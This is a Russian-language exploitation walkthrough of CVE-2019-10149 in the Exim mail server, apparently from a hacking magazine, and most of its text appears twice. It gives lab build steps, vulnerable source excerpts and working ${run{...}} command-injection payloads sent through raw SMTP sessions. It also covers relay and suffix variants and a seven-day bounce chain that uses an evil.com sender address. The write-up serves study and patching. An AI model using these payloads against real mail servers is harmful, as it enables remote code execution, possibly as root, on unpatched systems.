В этой статье я расскажу об уязвимости в агенте пересылки сообщений Exim. Найденная брешь позволяет атакующему выполнить произвольный код на целевой системе, что само по себе очень опасно, а если Exim был запущен от рута, то успешная эксплуатация позволяет получить максимальный контроль над системой.
Я уже дважды писал об RCE в этом почтовом сервере: один раз — в 2017 году, второй — в 2018-м. Оба раза для успешной эксплуатации нужно было разбираться со смещениями, кучами и прочей бинарщиной. В этот раз для проведения атаки достаточно просто отправить письмо через уязвимый Exim на специально сформированный адрес, содержащий пейлоад.
Если вкратце, то атака основана на внедрении произвольных сущностей в expanded strings, в заголовки
Баг обнаружили специалисты из Qualys в конце мая этого года. Он получил номер CVE-2019-10149 и затрагивает все версии Exim с 4.87 до 4.91 включительно.
Стенд
Для создания тестового окружения воспользуемся контейнером Docker. На момент публикации уязвимости пакеты Exim, которые лежали в репозитории Debian, содержали данную брешь. Они уже запатчены, поэтому нам нужно будет собрать уязвимую версию из исходников.
Расшариваем 25-й порт наружу, чтобы в дальнейшем можно было протестировать удаленную атаку. Помимо этого, добавляем флаги, чтобы можно было отлаживать приложение.
Теперь устанавливаем необходимые зависимости для успешной компиляции.
Обрати внимание, что я установил Exim4 из репозиториев. Это нужно для того, чтобы не возиться с конфигурационным файлом, добавлением пользователей и прочими приготовлениями.
Выполняем базовую настройку почтового сервера.
Первичная настройка Exim4
Важный параметр —
Теперь воспользуемся репозиторием Exim4 на GitHub и клонируем последнюю уязвимую ветку — 4.91.
Скопируем дефолтный шаблон мейкфайла.
В него нужно внести пачку изменений для того, чтобы скомпилировать максимально соответствующий существующему конфигу бинарник.
Сначала укажем имя пользователя, от которого будет работать Exim. Если ставить из репозиториев, то скрипт установки создает пользователя Debian-exim. Его и указываем.
Отключаем Exim Monitor, так как это графическая утилита для просмотра информации о работе демона и в консоли она нам совершенно ни к чему.
Указываем директорию, в которой лежат бинарники.
Теперь указываем путь до файла конфигурации. Я сгенерировал его через утилиту exim4-config, которая записывает его в
Дальше идут не особенно важные настройки.
Изменяем директорию, в которую будет складываться очередь писем для отправки.
И последнее изменение — нужно добавить флаг -g, если ты хочешь отлаживать приложение.
Дальше дело за компиляцией.
Успешная компиляция Exim 4.91
После того как приложение успешно скомпилено, нужно заменить бинарник Exim, который я ставил из репозитория Debian.
Стенд готов. Теперь ты можешь запускать демон Exim в качестве сервиса или напрямую из командной строки с выводом информации о работе в консоль.
Детали уязвимости и локальная эксплуатация
Сначала я расскажу о самом простом способе эксплуатации — локальном. Попутно разберем, в чем же именно причина уязвимости.
В окружении сервера Exim есть такое понятие, как String Expansion. Грубо говоря, это аналог макросов, как в разных шаблонизаторах. Строки специального вида, которые обрабатываются парсером Exim. Среди множества команд и функций, которые доступны в рамках String Expansion, имеется вызов внешней программы — run.
Сам парсинг выполняется функцией
src/src/expand.c
src/src/expand.c
Среди огромного количества мест, где она вызывается, есть такое место и в
src/src/deliver.c
Как видишь, эта ветка компилируется в случае, когда символическая константа
doc/doc-txt/ChangeLog
doc/doc-docbook/spec.xfpt
src/src/EDITME
Напомню, что на основе файла
Посмотрим на сам код, он начинает работать только в том случае, если переменная
src/src/deliver.c
Исправить этот «недостаток» можно несколькими способами. Относительно простой — это передать большое количество хидеров Received в письме.
src/src/deliver.c
5818: /* Otherwise, if there are too many Received: headers, fail all recipients. */
5819:
5820: else if (received_count > received_headers_max)
5821: process_recipients = RECIP_FAIL_LOOP;
Нужно, чтобы их было больше, чем максимально допустимое значение, которое хранится в переменной
src/src/globals.c
Хватит сухих сорцов, давай попробуем это на практике. Для отправки писем я буду использовать обычный netcat.
Проявим вежливость и поздороваемся.
Указываем отправителя (точнее, что его нет).
И получателя. Запомни этот адрес, он нам еще пригодится.
Теперь отправляем данные.
В дело вступает 31 заголовок
Завершаем работу и разрываем соединение.
В отладчике я поставил брейк-пойнт на функцию
Отладка функции deliver_message в Exim
Количество заголовков превышает максимум, а значит,
Отладка функции deliver_message. Попали в нужное условие
Адрес, который мы указывали в качестве получателя (RCPT TO), находится в
Адрес отправителя попадает в функцию expand_string
Если я передам вместо почты какую-нибудь конструкцию string expansion, то она будет тоже обработана, ибо никакой фильтрации не предусмотрено. Таким образом можно выполнять функции, например упомянутую выше run. Для начала укажем какую-нибудь простую команду.
Однако на этапе передачи этого адреса сервер ругнется на ошибку синтаксиса — пробелы недопустимы.
Ошибка в адресе получателя. Пробелы недопустимы
К счастью, синтаксис позволяет экранировать любые символы, указывая их в виде hex, как, например, в Python. Поэтому адрес превращается в нечто подобное.
Теперь сервер считает этот email валидным.
Внедрение пейлоада в expansion string в Exim
И если продолжить выполнение потока программы, то наша команда
Выполнение произвольных команд в Exim
Если сделать листинг директории
src/src/globals.c`
Успешное выполнение команды от пользователя, под которым работает Exim
На данный момент уже существует несколько автоматизированных скриптов для эксплуатации уязвимости. Например, raptor_exim_wiz за авторством Марко Ивальди (Marco Ivaldi) AKA Raptor, имеющий два режима работы — создание suid и бэкшелл с помощью netcat. Эксплоит написан на bash, поэтому ты без труда сможешь разобраться и подогнать его под свои нужды, если это необходимо.
Удаленное выполнение команд и ограничения
А что насчет удаленной эксплуатации? Тут все сильно зависит от конфигурации, с которой ты имеешь дело. Например, конфигурация по умолчанию требует, чтобы пользователь, которому отправляется email, существовал в системе. За это отвечает опция
Для RCE локальный метод не срабатывает
Но бывают конфигурации, где эта опция отсутствует по тем или иным причинам. Например, администратор защищается от атак user enumeration. Если тебе так повезло, то можешь использовать для эксплуатации локальный метод.
Еще один вариант подойдет в том случае, если конфигурация разрешает использовать суффиксы к почтовым адресам, как, например, на Яндексе — vasyan+xakep@yandex.ru. За такое поведение отвечает опция local_part_suffix.
Если суффикс указан, то эксплуатация локальным способом снова становится возможной. Для этого до суффикса нужно указать реально существующего в системе пользователя.
При включенной опции local_part_suffix можно передать пейлоад и выполнить RCE
Остается еще один вариант эксплуатации для нестандартной конфигурации. Возможно, на сервере настроена пересылка сообщений куда-либо (relay).
Эту опцию можно указать на этапе генерации конфига. Для тестового стенда я указал, что сервер является почтовым узлом до ya.ru.
Настройка пересылки почты в Exim
Теперь можно использовать этот домен в пейлоаде, и такой ящик без проблем будет принят и обработан.
RCE в Exim с настроенным relay
RCE при использовании конфига по умолчанию
Переходим к заключительной части. Возможна ли удаленная эксплуатация при дефолтной конфигурации? Сразу спойлер: да, но вероятность крайне мала.
Давай по порядку.
Первая проблема с проверкой существования пользователя решается при помощи возвращенного письма (bounce message). Если письмо не было доставлено, то оно возвращается к отправителю. Здесь в поле получателя (RCPT TO) используется ящик отправителя (MAIL FROM оригинального письма). Разумеется, мы можем взять в качестве отправителя любые значения, не противоречащие формату адреса. Поэтому там можно указать пейлоад.
Вторая проблема: нам нужно сделать так, чтобы переменная process_recipientsотличалась от RECIP_ACCEPT, иначе не попасть в уязвимую часть кода. Только вот трюк с превышением максимального количества заголовков уже не прокатит, так как нет возможности управлять заголовками возвращенного письма.
В коде нашлась интересная логика, которая позволяет обойти эту проблему.
Если и возвращенное письмо не будет доставлено спустя семь дней, то Exim устанавливает переменную
Дефолтное значение переменной timeout_frozen_after в конфиге Exim
Трюк основан на том, что дефолтное значение
Дефолтное значение переменной ignore_bounce_errors_after в конфиге Exim
src/src/deliver.c
Exim будет пытаться повторить отправку письма с таким статусом. По умолчанию максимальный срок установлен в четыре дня.
Расписание повторной отправки писем в Exim-конфиге из Debian-репозитория
По истечении этого времени письмо будет отменено и сервер больше не будет пытаться его доставить. То есть до семидневного срока он не дотянет. Ребята из Qualys придумали интересную цепочку, чтобы обойти все перечисленные ограничения.
Алгоритм эксплуатации выглядит следующим образом.
Подключаемся к серверу и отправляем письмо, которое не может быть доставлено. Для этого используем трюк с большим количеством хидеров Received. В этот раз пейлоад записываем в MAIL FROM, а в качестве домена используем подконтрольный нам.
Получателем (RCPT TO) можно указать postmaster, этот псевдопользователь существует по дефолту.
Так как при доставке сообщения будет возникать ошибка, то Exim присоединится к почтовому агенту на нашем сервере и попытается вернуть письмо на ящик отправителя (в имени которого пейлоад).
Теперь самое интересное. Exim отправляет нашему серверу SMTP-команды и ждет ответов. Нам нужно держать это соединение открытым семь дней. По дефолту Exim читает ответ от сервера частями по 8192 байт. За размер частей отвечает DELIVER_BUFFER_SIZE,
src/src/config.h.defaults
Тайм-аут на чтение установлен в пять минут — переменная command_timeout.
src/src/transports/smtp.c
Разумеется, счетчик тайм-аута сбрасывается при получении любого количества информации. Поэтому нужно отправлять серверу по байту каждые четыре минуты.
После того как пройдет семь дней, нужно ответить уязвимому серверу какой-то неразрешимой ошибкой. Например, 550 Unrouteable address. Это значит, что почтового ящика с таким адресом не существует и смысла в дальнейших попытках отправки нет. Возвращенное письмо благодаря такому трюку зависнет в пуле. Функция post_process_one должна бы пометить его как отмененное, потому что прошло больше двух дней после создания сообщения (ignore_bounce_errors_after).
src/src/deliver.c
В сложившихся обстоятельствах переменная message_age будет содержать не реальное время создания возвращенного письма, а то, когда оно было последний раз загружено из очереди Exim. Это означает, что вместо семи дней возраст письма равен нескольким минутам или даже секундам, в зависимости от того, когда последний раз вызывалась очередь.
В итоге условие не отрабатывает и письмо переходит в очередь задержанных и замороженных.
src/src/deliver.c
Наконец, при следующей обработке очереди замороженное письмо будет загружено, и в этот раз его возраст будет установлен корректно. То есть получится, что он будет больше семи дней и больше дефолтного значения timeout_frozen_after. Переменная process_recipients примет отличное от RECIP_ACCEPT значение, чего, собственно, мы и добивались.
src/src/deliver.c
Дальше все как при локальной эксплуатации: в функцию expand_string попадет наш пейлоад
Если интересно, можешь сам набросать эксплоит для реализации этого алгоритма атаки. А чтобы при отладке каждый раз не сидеть и не ждать по семь дней, как Самара, советую поменять все опции, связанные со временем (
Не исключено, что существует возможность проэксплуатировать дефолтную конфигурацию гораздо быстрее. Возможно, именно ты найдешь этот способ, так что дерзай.
Демонстрация уязвимости (видео)
Заключение
Итак, мы изучили интересную уязвимость сервера Exim 4.91 и разные техники ее эксплуатации. Разработчикам даже не пришлось реагировать на сообщение о баге, так как к этому времени он был исправлен заодно с другой уязвимостью. Коммит от 17 сентября 2018 года, кроме бага 2310, фиксит и изученную нами проблему. Этот коммит был сделан в предрелизную (RC1) версию Exim 4.92, которая окончательно вышла 10 февраля 2019 года. Поэтому она не эксплуатабельна.
Помимо этого, разработчики выпустили патчи для всех существующих версий почтового демона. Обрати внимание, что версии ниже 4.87 тоже можно эксплуатировать, если при компиляции была определена директива EXPERIMENTAL_EVENT.
Так что почаще проверяй свое окружение на наличие известных брешей и своевременно накатывай патчи.
Автор @aLLy (iamsecurity)
хакер.ру
Я уже дважды писал об RCE в этом почтовом сервере: один раз — в 2017 году, второй — в 2018-м. Оба раза для успешной эксплуатации нужно было разбираться со смещениями, кучами и прочей бинарщиной. В этот раз для проведения атаки достаточно просто отправить письмо через уязвимый Exim на специально сформированный адрес, содержащий пейлоад.
Если вкратце, то атака основана на внедрении произвольных сущностей в expanded strings, в заголовки
RCPT TO и MAIL FROM. Она позволяет злоумышленнику передать специально сформированную строку как email-адрес, и та будет интерпретирована почтовым сервисом как системная команда.Баг обнаружили специалисты из Qualys в конце мая этого года. Он получил номер CVE-2019-10149 и затрагивает все версии Exim с 4.87 до 4.91 включительно.
Стенд
Для создания тестового окружения воспользуемся контейнером Docker. На момент публикации уязвимости пакеты Exim, которые лежали в репозитории Debian, содержали данную брешь. Они уже запатчены, поэтому нам нужно будет собрать уязвимую версию из исходников.
Код:
$ docker run -it --rm -p25:25 --name=eximrce --hostname=eximrce --cap-add=SYS_PTRACE --security-opt seccomp=unconfined debian /bin/bash
Теперь устанавливаем необходимые зависимости для успешной компиляции.
Код:
$ apt-get install -y exim4 build-essential git libdb5.3-dev libpcre3-dev libgnutls28-dev libgcrypt-dev wget netcat nano procps gdb
Выполняем базовую настройку почтового сервера.
Код:
$ dpkg-reconfigure exim4-config
Первичная настройка Exim4
Важный параметр —
Domains to relay mail for. Запомни его, я вернусь к нему на этапе удаленной эксплуатации.Теперь воспользуемся репозиторием Exim4 на GitHub и клонируем последнюю уязвимую ветку — 4.91.
Код:
$ git clone --depth=1 -b exim-4_91 https://github.com/Exim/exim.git
$ cd exim/src
$ mkdir Local
Код:
$ cp src/EDITME Local/Makefile
Сначала укажем имя пользователя, от которого будет работать Exim. Если ставить из репозиториев, то скрипт установки создает пользователя Debian-exim. Его и указываем.
Код:
$ sed -i 's,^EXIM_USER.*$,EXIM_USER=Debian-exim,' Local/Makefile
Код:
$ sed -i 's,^EXIM_MONITOR=.*$,# EXIM_MONITOR=,' Local/Makefile
Код:
$ sed -i 's,^BIN_DIRECTORY=.*$,BIN_DIRECTORY=/usr/sbin,' Local/Makefile
/var/lib/exim4/config.autogenerated.
Код:
$ sed -i 's,^CONFIGURE_FILE=.*$,CONFIGURE_FILE=/var/lib/exim4/config.autogenerated,' Local/Makefile &&
Код:
sed -i 's,^# SUPPORT_MAILDIR,SUPPORT_MAILDIR,' Local/Makefile && \
sed -i 's,^# SUPPORT_MAILSTORE,SUPPORT_MAILSTORE,' Local/Makefile && \
sed -i 's,^# SUPPORT_MOVE_FROZEN_MESSAGES,SUPPORT_MOVE_FROZEN_MESSAGES,' Local/Makefile && \
sed -i 's,^# SUPPORT_TLS=,SUPPORT_TLS=,' Local/Makefile && \
sed -i 's,^# USE_GNUTLS=,USE_GNUTLS=,' Local/Makefile && \
sed -i 's,^# TLS_LIBS=-lgnutls,TLS_LIBS=-lgnutls,' Local/Makefile && \
sed -i 's,^# LOOKUP_CDB,LOOKUP_CDB,' Local/Makefile && \
sed -i 's,^# LOOKUP_DSEARCH,LOOKUP_DSEARCH,' Local/Makefile && \
sed -i 's,^# LOOKUP_NIS,LOOKUP_NIS,' Local/Makefile && \
sed -i 's,^# LOOKUP_NISPLUS,LOOKUP_NISPLUS,' Local/Makefile && \
sed -i 's,^# LOOKUP_PASSWD,LOOKUP_PASSWD,' Local/Makefile && \
sed -i 's,^# TRANSPORT_LMTP,TRANSPORT_LMTP,' Local/Makefile && \
sed -i 's,^# AUTH_CRAM_MD5,AUTH_CRAM_MD5,' Local/Makefile && \
sed -i 's,^# AUTH_PLAINTEXT,AUTH_PLAINTEXT,' Local/Makefile && \
sed -i 's,^# HAVE_IPV6,HAVE_IPV6,' Local/Makefile
Код:
$ sed -i 's,^/var/spool/exim,/var/spool/exim4,' Local/Makefile
Код:
$ printf "CFLAGS += -g\n" >> Local/Makefile
Код:
$ make
Успешная компиляция Exim 4.91
После того как приложение успешно скомпилено, нужно заменить бинарник Exim, который я ставил из репозитория Debian.
Код:
$ mv /usr/sbin/exim4 /usr/sbin/exim4_orig && cp -f /root/exim/src/build-Linux-x86_64/exim /usr/sbin/exim4
Код:
$ exim4 -bdf -d+all
Детали уязвимости и локальная эксплуатация
Сначала я расскажу о самом простом способе эксплуатации — локальном. Попутно разберем, в чем же именно причина уязвимости.
В окружении сервера Exim есть такое понятие, как String Expansion. Грубо говоря, это аналог макросов, как в разных шаблонизаторах. Строки специального вида, которые обрабатываются парсером Exim. Среди множества команд и функций, которые доступны в рамках String Expansion, имеется вызов внешней программы — run.
Код:
${run{<команда> <аргументы>}{<string1>}{<string2>}}
expand_string.src/src/expand.c
Код:
7659: uschar *
7660: expand_string(uschar * string)
7661: {
7662: return US expand_cstring(CUS string);
7663: }
Код:
7640: const uschar *
7641: expand_cstring(const uschar * string)
7642: {
7643: if (Ustrpbrk(string, "$\\") != NULL)
7644: {
7645: int old_pool = store_pool;
7646: uschar * s;
7647:
7648: search_find_defer = FALSE;
7649: malformed_header = FALSE;
7650: store_pool = POOL_MAIN;
7651: s = expand_string_internal(string, FALSE, NULL, FALSE, TRUE, NULL);
7652: store_pool = old_pool;
7653: return s;
7654: }
7655: return string;
7656: }
deliver_message.src/src/deliver.c
Код:
5505: int
5506: deliver_message(uschar *id, BOOL forced, BOOL give_up)
5507: {
...
6224: #ifndef DISABLE_EVENT
6225: if (process_recipients != RECIP_ACCEPT)
6226: {
6227: uschar * save_local = deliver_localpart;
6228: const uschar * save_domain = deliver_domain;
6229:
6230: deliver_localpart = expand_string(
6231: string_sprintf("${local_part:%s}", new->address));
6232: deliver_domain = expand_string(
6233: string_sprintf("${domain:%s}", new->address));
6234:
6235: (void) event_raise(event_action,
6236: US"msg:fail:internal", new->message);
6237:
6238: deliver_localpart = save_local;
6239: deliver_domain = save_domain;
6240: }
DISABLE_EVENT не определена. Так оно и есть, начиная с версии 4.87 Events — полноправная часть Exim и используются по умолчанию.doc/doc-txt/ChangeLog
Код:
674: Exim version 4.87
675: -----------------
...
799: JH/29 Move Events support from Experimental to mainline, enabled by default
800: and removable for a build by defining DISABLE_EVENT.
Код:
39868: Most installations will never need to use Events.
39869: The support can be left out of a build by defining DISABLE_EVENT=yes
39870: in &_Local/Makefile_&.
Код:
456: # To disable support for Events set DISABLE_EVENT to "yes"
457:
458: # DISABLE_EVENT=yes
src/src/EDITME я делал мейкфайл для компиляции Exim.Посмотрим на сам код, он начинает работать только в том случае, если переменная
process_recipients не равна RECIP_ACCEPT. Но при инициализации она принимает как раз такое значение.src/src/deliver.c
Код:
5505: int
5506: deliver_message(uschar *id, BOOL forced, BOOL give_up)
5507: {
...
5513: int process_recipients = RECIP_ACCEPT;
src/src/deliver.c
5818: /* Otherwise, if there are too many Received: headers, fail all recipients. */
5819:
5820: else if (received_count > received_headers_max)
5821: process_recipients = RECIP_FAIL_LOOP;
Нужно, чтобы их было больше, чем максимально допустимое значение, которое хранится в переменной
received_headers_max. По умолчанию оно равно 30.src/src/globals.c
Код:
1131: int received_headers_max = 30;
Код:
nc localhost 25
Код:
EHLO localhost
Код:
MAIL FROM:<>
Код:
RCPT TO:<hellothere@localhost>
Код:
DATA
Received.
Код:
Received: 1
Received: 2
Received: 3
...
Received: 31
.
Код:
QUIT
deliver_message. Давай посмотрим, что происходит при обработке и отправке этого письма.
Отладка функции deliver_message в Exim
Количество заголовков превышает максимум, а значит,
process_recipients установлено в нужное значение. Продолжаем трейсить выполнение программы и попадаем в интересующее нас условие.
Отладка функции deliver_message. Попали в нужное условие
Адрес, который мы указывали в качестве получателя (RCPT TO), находится в
new->address и затем попадает в функцию expand_string в виде следующего выражения:${local_part:hellothere@localhost}
Адрес отправителя попадает в функцию expand_string
Если я передам вместо почты какую-нибудь конструкцию string expansion, то она будет тоже обработана, ибо никакой фильтрации не предусмотрено. Таким образом можно выполнять функции, например упомянутую выше run. Для начала укажем какую-нибудь простую команду.
Код:
${run{/bin/sh -c "id > /tmp/id"}}@localhost
Ошибка в адресе получателя. Пробелы недопустимы
К счастью, синтаксис позволяет экранировать любые символы, указывая их в виде hex, как, например, в Python. Поэтому адрес превращается в нечто подобное.
Код:
${run{\x2fbin\x2fsh\t-c\t\x22id\t\x3e\t\x2ftmp\x2fid\x22}}@localhost
Внедрение пейлоада в expansion string в Exim
И если продолжить выполнение потока программы, то наша команда
id выполнится.
Выполнение произвольных команд в Exim
Если сделать листинг директории
/tmp, то выяснится, что здесь лежит файл id с результатами работы одноименной команды. Владелец этого файла — пользователь, от которого запущен демон exim. Если он работает от root, то мы получаем полный доступ к системе. Существует директива deliver_drop_privilege, которая понижает привилегии процесса отправки, но по дефолту она установлена в false.src/src/globals.c`
Код:
637: BOOL deliver_drop_privilege = FALSE;
Успешное выполнение команды от пользователя, под которым работает Exim
На данный момент уже существует несколько автоматизированных скриптов для эксплуатации уязвимости. Например, raptor_exim_wiz за авторством Марко Ивальди (Marco Ivaldi) AKA Raptor, имеющий два режима работы — создание suid и бэкшелл с помощью netcat. Эксплоит написан на bash, поэтому ты без труда сможешь разобраться и подогнать его под свои нужды, если это необходимо.
Удаленное выполнение команд и ограничения
А что насчет удаленной эксплуатации? Тут все сильно зависит от конфигурации, с которой ты имеешь дело. Например, конфигурация по умолчанию требует, чтобы пользователь, которому отправляется email, существовал в системе. За это отвечает опция
verify = recipient.
Для RCE локальный метод не срабатывает
Но бывают конфигурации, где эта опция отсутствует по тем или иным причинам. Например, администратор защищается от атак user enumeration. Если тебе так повезло, то можешь использовать для эксплуатации локальный метод.
Еще один вариант подойдет в том случае, если конфигурация разрешает использовать суффиксы к почтовым адресам, как, например, на Яндексе — vasyan+xakep@yandex.ru. За такое поведение отвечает опция local_part_suffix.
Код:
local_part_suffix = +*
local_part_suffix_optional
Код:
root+${run{\x2fbin\x2fsh\t-c\t\x22id\t\x3e\t\x2ftmp\x2fidsuff\x22}}@localhost
При включенной опции local_part_suffix можно передать пейлоад и выполнить RCE
Остается еще один вариант эксплуатации для нестандартной конфигурации. Возможно, на сервере настроена пересылка сообщений куда-либо (relay).
Эту опцию можно указать на этапе генерации конфига. Для тестового стенда я указал, что сервер является почтовым узлом до ya.ru.
Настройка пересылки почты в Exim
Теперь можно использовать этот домен в пейлоаде, и такой ящик без проблем будет принят и обработан.
Код:
${run{\x2fbin\x2fsh\t-c\t\x22id\t\x3e\t\x2ftmp\x2fid_relay\x22}}@ya.ru
RCE в Exim с настроенным relay
RCE при использовании конфига по умолчанию
Переходим к заключительной части. Возможна ли удаленная эксплуатация при дефолтной конфигурации? Сразу спойлер: да, но вероятность крайне мала.
Давай по порядку.
Первая проблема с проверкой существования пользователя решается при помощи возвращенного письма (bounce message). Если письмо не было доставлено, то оно возвращается к отправителю. Здесь в поле получателя (RCPT TO) используется ящик отправителя (MAIL FROM оригинального письма). Разумеется, мы можем взять в качестве отправителя любые значения, не противоречащие формату адреса. Поэтому там можно указать пейлоад.
Вторая проблема: нам нужно сделать так, чтобы переменная process_recipientsотличалась от RECIP_ACCEPT, иначе не попасть в уязвимую часть кода. Только вот трюк с превышением максимального количества заголовков уже не прокатит, так как нет возможности управлять заголовками возвращенного письма.
В коде нашлась интересная логика, которая позволяет обойти эту проблему.
Если и возвращенное письмо не будет доставлено спустя семь дней, то Exim устанавливает переменную
process_recipients в значение RECIP_FAIL_TIMEOUT.
Дефолтное значение переменной timeout_frozen_after в конфиге Exim
Трюк основан на том, что дефолтное значение
timeout_frozen_after — это 7d. Но здесь подстерегает еще одна проблема, на этот раз посерьезней. Если проблемой при доставке письма был не временный сбой, то по истечении двух дней статус возвращенного письма меняется на отложенный (defer). Именно такой срок по дефолту имеет настройка ignore_bounce_errors_after.
Дефолтное значение переменной ignore_bounce_errors_after в конфиге Exim
src/src/deliver.c
Код:
1682: /* If this is a delivery error, or a message for which no replies are
1683: wanted, and the message’s age is greater than ignore_bounce_errors_after,
1684: force the af_ignore_error flag. This will cause the address to be discarded
1685: later (with a log entry). */
1686:
1687: if (!*sender_address && message_age >= ignore_bounce_errors_after)
1688: addr->prop.ignore_error = TRUE;
Расписание повторной отправки писем в Exim-конфиге из Debian-репозитория
По истечении этого времени письмо будет отменено и сервер больше не будет пытаться его доставить. То есть до семидневного срока он не дотянет. Ребята из Qualys придумали интересную цепочку, чтобы обойти все перечисленные ограничения.
Алгоритм эксплуатации выглядит следующим образом.
Подключаемся к серверу и отправляем письмо, которое не может быть доставлено. Для этого используем трюк с большим количеством хидеров Received. В этот раз пейлоад записываем в MAIL FROM, а в качестве домена используем подконтрольный нам.
Код:
${run{...}}@evil.com
Так как при доставке сообщения будет возникать ошибка, то Exim присоединится к почтовому агенту на нашем сервере и попытается вернуть письмо на ящик отправителя (в имени которого пейлоад).
Теперь самое интересное. Exim отправляет нашему серверу SMTP-команды и ждет ответов. Нам нужно держать это соединение открытым семь дней. По дефолту Exim читает ответ от сервера частями по 8192 байт. За размер частей отвечает DELIVER_BUFFER_SIZE,
src/src/config.h.defaults
Код:
46: #define DELIVER_IN_BUFFER_SIZE 8192
47: #define DELIVER_OUT_BUFFER_SIZE 8192
src/src/transports/smtp.c
Код:
215: smtp_transport_options_block smtp_transport_option_defaults = {
...
251: .command_timeout = 5*60,
После того как пройдет семь дней, нужно ответить уязвимому серверу какой-то неразрешимой ошибкой. Например, 550 Unrouteable address. Это значит, что почтового ящика с таким адресом не существует и смысла в дальнейших попытках отправки нет. Возвращенное письмо благодаря такому трюку зависнет в пуле. Функция post_process_one должна бы пометить его как отмененное, потому что прошло больше двух дней после создания сообщения (ignore_bounce_errors_after).
src/src/deliver.c
Код:
1687: if (!*sender_address && message_age >= ignore_bounce_errors_after)
1688: addr->prop.ignore_error = TRUE;
В итоге условие не отрабатывает и письмо переходит в очередь задержанных и замороженных.
src/src/deliver.c
Код:
1696: if ( !addr->prop.ignore_error
1697: && ( addr->special_action == SPECIAL_FREEZE
1698: || (sender_address[0] == 0 && !addr->prop.errors_address)
1699: ) )
1700: {
1701: frozen_info = addr->special_action == SPECIAL_FREEZE
1702: ? US""
1703: : sender_local && !local_error_message
1704: ? US" (message created with -f <>)"
1705: : US" (delivery error message)";
1706: deliver_freeze = TRUE;
1707: deliver_frozen_at = time(NULL);
1708: update_spool = TRUE;
src/src/deliver.c
Код:
5725: if (timeout_frozen_after > 0 && message_age >= timeout_frozen_after)
5726: {
5727: log_write(0, LOG_MAIN, "cancelled by timeout_frozen_after");
5728: process_recipients = RECIP_FAIL_TIMEOUT;
5729: }
(${run{...}}@evil.com) из адреса отправителя и код выполнится.Если интересно, можешь сам набросать эксплоит для реализации этого алгоритма атаки. А чтобы при отладке каждый раз не сидеть и не ждать по семь дней, как Самара, советую поменять все опции, связанные со временем (
ignore_bounce_errors_after, timeout_frozen_after, расписание повторной отправки) на более короткие промежутки.Не исключено, что существует возможность проэксплуатировать дефолтную конфигурацию гораздо быстрее. Возможно, именно ты найдешь этот способ, так что дерзай.
Демонстрация уязвимости (видео)
Заключение
Итак, мы изучили интересную уязвимость сервера Exim 4.91 и разные техники ее эксплуатации. Разработчикам даже не пришлось реагировать на сообщение о баге, так как к этому времени он был исправлен заодно с другой уязвимостью. Коммит от 17 сентября 2018 года, кроме бага 2310, фиксит и изученную нами проблему. Этот коммит был сделан в предрелизную (RC1) версию Exim 4.92, которая окончательно вышла 10 февраля 2019 года. Поэтому она не эксплуатабельна.
Помимо этого, разработчики выпустили патчи для всех существующих версий почтового демона. Обрати внимание, что версии ниже 4.87 тоже можно эксплуатировать, если при компиляции была определена директива EXPERIMENTAL_EVENT.
Так что почаще проверяй свое окружение на наличие известных брешей и своевременно накатывай патчи.
Автор @aLLy (iamsecurity)
хакер.ру